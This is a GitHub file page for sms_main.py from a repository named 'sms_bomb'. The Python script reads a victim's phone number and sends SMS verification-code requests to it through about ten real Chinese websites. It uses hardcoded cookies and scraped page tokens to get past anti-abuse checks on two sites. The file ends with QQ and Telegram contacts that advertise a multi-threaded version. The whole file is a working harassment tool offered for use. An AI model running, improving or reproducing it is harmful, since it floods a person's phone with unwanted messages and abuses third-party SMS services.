forked from nicelixiaopang/sms_bomb
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsms_main.py
194 lines (176 loc) · 7.23 KB
/
sms_main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
# -*- coding: utf-8 -*-
import json
import re
import requests
api_list = [
{
"url": "https://www.yojiang.cn/api/user/send_verify_code?phone=target_Phone",
"type": "GET",
"cookie": "guest_uuid=5e3626fd9b6dde14e9293bee; _xsrf=2|a63a71a2|6bfa82e8f3ff66bbf83b67c2a67a9cf5|1580823294; Hm_lvt_91f2894c14ed1eb5a6016e859758fb9c=1580825404; Hm_lpvt_91f2894c14ed1eb5a6016e859758fb9c=1580825404"
},
{
"url": "https://m.health.pingan.com/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&deviceType=SM-G9300×tamp=1545122608&app=0&platform=3&app_key=PAHealth&osversion=23&info=&version=1.0.1&resolution=1440x2560&screenSize=22&netType=1&channel=m_h5&phone=target_Phone",
"type": "GET"
},
{
"url": "https://www.smartstudy.com/api/user-service/captcha/phone",
"parm": {
"type": "authenticode",
"phone": "target_Phone",
"countryCode": "86",
},
"type": "POST"
},
{
"url": "https://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=target_Phone",
"type": "GET",
},
{
"url": "https://id.kuaishou.com/pass/kuaishou/sms/requestMobileCode",
"type": "POST",
"parm": {
"sid": "kuaishou.live.web",
"type": "53",
"countryCode": "+86",
"phone": "target_Phone"
}
},
{
"url": "http://jrh.financeun.com/Login/sendMessageCode3.html?mobile=target_Phone&mbid=197873&check=3",
"type": "GET",
"cookie": "PHPSESSID=q8h78o91qm30m5bl7lufkt3go3; jrh_visit_log=q8h78o91qm30m5bl7lufkt3go3; Hm_lvt_b627bb080fd97f01181b26820034cfcb=1580999339; UM_distinctid=1701ae772688ac-09ae1bde44e676-6701b35-144000-1701ae772699ca; CNZZDATA1276814029=219078261-1580999135-%7C1580999135; Hm_lpvt_b627bb080fd97f01181b26820034cfcb=1580999403"
},
{
"url": "https://developer.i4.cn/put/getMsgCode.xhtml?_=1580912157461&phoneNumber=target_Phone&codeType=6",
"type": "GET"
},
{
"special": "xxsy",
"first": {
"url": "https://www.xxsy.net/Reg",
"type": "GET"
},
"url": "https://www.xxsy.net/Reg/Actions",
"type": "POST",
"parm": {
"method": "sms",
"mobile": "target_Phone",
"uname": "target_Phone",
"token": "",
},
"headers": {
"cookie": "ASP.NET_SessionId=1zpetajacprst1vvgvtqvt2u; pcstatpageusersign=1lzva83zoqa3qpid3ukvojnye9xgq0th; UM_distinctid=1701a43b89b44b-0e920e8853ac59-6701b35-144000-1701a43b89c9d1; CNZZDATA1275068799=1423156539-1580988611-https%253A%252F%252Fwww.hao123.com%252F%7C1580988611; CNZZDATA1275068004=1203802890-1580988611-https%253A%252F%252Fwww.hao123.com%252F%7C1580988611; __qc_wId=999; pgv_pvid=1596346520; xxcpoint=GU3TIZJYHE3DOZJTGAZTKOJUGJSGIOJWG5SWCMDDGA4DANJZGJRA",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',
"X-Requested-With": "XMLHttpRequest"
}
},
{
"special": "ruanmei",
"first": {
"url": "https://my.ruanmei.com/?page=register",
"type": "GET"
},
"headers": {
"cookie": "ASP.NET_SessionId=wmw5kiwrmvxibb2zvk2qhxsh; CheckCode=MXPF; CheckCode_fp=GNGW; KLBRSID=b039105d4718660de1867d1c40076e29|1580992153|1580992141; sendsms=Thu%20Feb%2006%202020%2020%3A29%3A13%20GMT+0800%20%28%u4E2D%u56FD%u6807%u51C6%u65F6%u95F4%29",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',
"Referer": "https://my.ruanmei.com/?page=register",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/json; charset=UTF-8"
},
"url": "https://my.ruanmei.com/Default.aspx/SendSmsReg20190319",
"type": "POST",
"parm": {
"mobile": "target_Phone",
"checkreg": "true",
"validate": "",
"data": ""
}
},
{
"url": "http://qydj.scjg.tj.gov.cn/reportOnlineService/login_login",
"type": "POST",
"parm": {
"MOBILENO": "target_Phone",
"TEMP": "1"
},
"cookie": "qcdzh-session-id=fe77ec80-efb8-4238-844e-c0e136b349de; UM_distinctid=1701adce0071-069b6727280a07-6701b35-144000-1701adce00891c; CNZZDATA1274944014=862482110-1580998603-http%253A%252F%252Fqydj.scjg.tj.gov.cn%252F%7C1580998603"
},
]
def replacePhone(phone):
target_list = []
for api in api_list:
api_str = json.dumps(api)
api_str = api_str.replace("target_Phone", phone)
target_list.append(json.loads(api_str))
return target_list
def default(jiekou, headers):
resp = requests.request(
url=jiekou["url"],
method=jiekou["type"],
headers=headers,
data=jiekou.get("parm", "")
)
print(resp.status_code)
print(resp.text)
print(resp.url)
print()
def caseSpecial(jiekou, special):
if special == 'xxsy':
xxsy(jiekou)
elif special == 'ruanmei':
ruanmei(jiekou)
def xxsy(jiekou):
# 获取token
resp = requests.request(url=jiekou["first"]["url"], method=jiekou["first"]["type"], headers=jiekou["headers"])
jiekou["parm"]["token"] = re.findall(", checkCode, '(.*?)',", resp.text)[0]
resp = requests.request(
url=jiekou["url"],
method=jiekou["type"],
headers=jiekou["headers"],
data=jiekou.get("parm")
)
print(resp.status_code)
print(resp.content.decode())
print(resp.url)
print()
def ruanmei(jiekou):
# 获取token
resp = requests.request(url=jiekou["first"]["url"], method=jiekou["first"]["type"], headers=jiekou["headers"])
jiekou["parm"]["data"] = re.findall("id=\"data20190202\" value='(.*?)'", resp.text)[0]
# 发送短信
resp = requests.request(
url=jiekou["url"],
method=jiekou["type"],
headers=jiekou["headers"],
data=json.dumps(jiekou.get("parm"))
)
print(resp.status_code)
print(resp.content.decode())
print(resp.url)
print()
def run(jiekou_list):
for jiekou in jiekou_list:
special = jiekou.get("special")
if special:
caseSpecial(jiekou, special)
else:
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16B92 Html5Plus/1.0',
'accept-encoding': 'gzip, deflate, br',
'accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2',
'cache-control': 'max-age=0',
"X-Requested-With": "XMLHttpRequest",
'cookie': jiekou.get("cookie", ""),
"referer": jiekou.get("referer", ""),
}
if jiekou.get("headers"):
headers = jiekou.get("headers")
default(jiekou, headers)
if __name__ == '__main__':
phone = input("输入手机号: ")
target_list = replacePhone(phone)
run(target_list)
print("-------多线程多接口软件--------")
print("QQ: 2416447718")
print("QQ: 2470571458")
print("TG: @porsms")